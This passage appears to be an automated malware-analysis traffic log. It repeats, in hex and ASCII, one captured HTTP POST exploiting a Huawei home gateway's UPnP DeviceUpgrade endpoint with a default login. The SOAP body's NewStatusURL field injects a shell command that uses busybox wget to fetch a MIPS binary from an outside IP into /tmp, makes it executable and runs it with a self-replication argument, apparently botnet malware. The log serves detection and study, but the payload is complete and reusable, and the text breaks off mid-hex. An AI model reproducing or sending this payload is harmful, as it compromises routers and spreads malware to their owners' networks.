61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 